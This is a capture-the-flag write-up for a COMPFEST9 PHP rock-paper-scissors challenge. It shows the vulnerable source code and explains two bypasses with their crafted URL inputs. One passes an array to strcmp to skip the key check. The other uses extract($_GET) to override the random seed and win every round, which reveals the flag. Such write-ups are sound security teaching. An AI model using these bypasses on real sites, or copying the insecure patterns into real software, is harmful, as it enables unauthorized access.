

GBK (100)

Description

From wikipedia:

Rock-paper-scissors is a hand game usually played between two people, in which each player simultaneously forms one of three shapes with an outstretched hand. These shapes are "rock", "paper", and "scissors". A zero-sum game, it has only two possible outcomes other than a tie: one player wins, and the other player loses.

<http://tenjin.compfest.web.id:10137/>

access.php

```
<?php
    $secret_key = '_____';
    $access = false;
    if (isset($_GET['key'])) {
        $key = $_GET['key'];
        if (strcmp($key, $secret_key) == 0) {
            $access = true;
        }
    }
}

?>
<link rel="stylesheet" href="style.css">

<br><br><br>

<div class="container">

    <div class="info">
        <p>Hello, Developer!</p>
        <p>Please enter the key to access the game source code</p>
    </div>
    <br>
    <form action="" method="GET">
        <center>
            <input type="text" name="key" placeholder="key">
            <input type="submit">
        </center>
    </form>

    <?php if($access): ?>
        <div class="info large">
            <iframe src="play.php.sourcecode.txt" frameborder="0" style="width: 100%; height: 300px;">
        </div>
    <?php endif; ?>

</div>
```

Write up

- From a user comment in PHP strcmp manual:

If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable. `strcmp("foo", array()) => NULL + PHP Warning`

- We can exploit this to bypass the secret key comparison as a null can be seen as a zero because a `==` is an equal comparison with type juggling
- Thus if you visit `/access.php?key[]=` it will show the source code for `index.php`:

```
<?php
    session_start();

    $time = time();
    extract($_GET);

    srand($time);
    $enemyAction = getAction(rand());

    if (!isset($_SESSION['nWin']))
        $_SESSION['nWin'] = 0;

    if (isWin($yourAction, $enemyAction)) {
        $_SESSION['nWin']++;
    } else {
        $_SESSION['nWin'] = 0;
    }

    function getAction($i) {
        if ($i % 3 == 0) return "Gunting";
        else if ($i % 3 == 1) return "Kertas";
        else return "Batu";
    }

    function isWin($action, $enemy) {
        if ($action == "Gunting") {
            return ($enemy == "Kertas");
        } else if ($action == "Kertas") {
            return ($enemy == "Batu");
        } else if ($action == "Batu") {
            return ($enemy == "Gunting");
        }
    }
}

?>

<link rel="stylesheet" href="style.css">

<br><br><br>

<div class="container">
    <form action="" method="GET">
        <center>
            <input type="submit" name="yourAction" value="Gunting">
            <input type="submit" name="yourAction" value="Kertas">
            <input type="submit" name="yourAction" value="Batu">
        </center>
    </form>

    <div class="info">
        <?php
            echo "Enemy Action: " . $enemyAction;
            echo "<br>";
            echo "Your Action: " . $yourAction;
            echo "<br><br>";
            echo ($win ? "You win!!" : "You lose!!");
            echo "<br>";
            echo "Number of consecutive win: " . $_SESSION['nWin'];
            echo "<br>";
            if ($_SESSION['nWin'] > 20) echo "COMPFEST9{-----[REDACTED]-----}";
```

```
?>
</div>

<center>
  <p>
    If you are a developer, <a href="access.php">click here</a>
  </p>
</center>
</div>
```

- We can see that it use `rand()` to generate random action, and it is seeded with `$time` variable
- However before it was seeded, an `extract($_GET)` which is `evil`
- We can then specify the seed, for example 0, through adding `?time=0` in the url and thus we get: `/?yourAction=Gunting&time=0` where we always win
- Refreshing the page 21 times will get us the flag: `COMPFEST9{php_is_full_of_vulnerabilities}`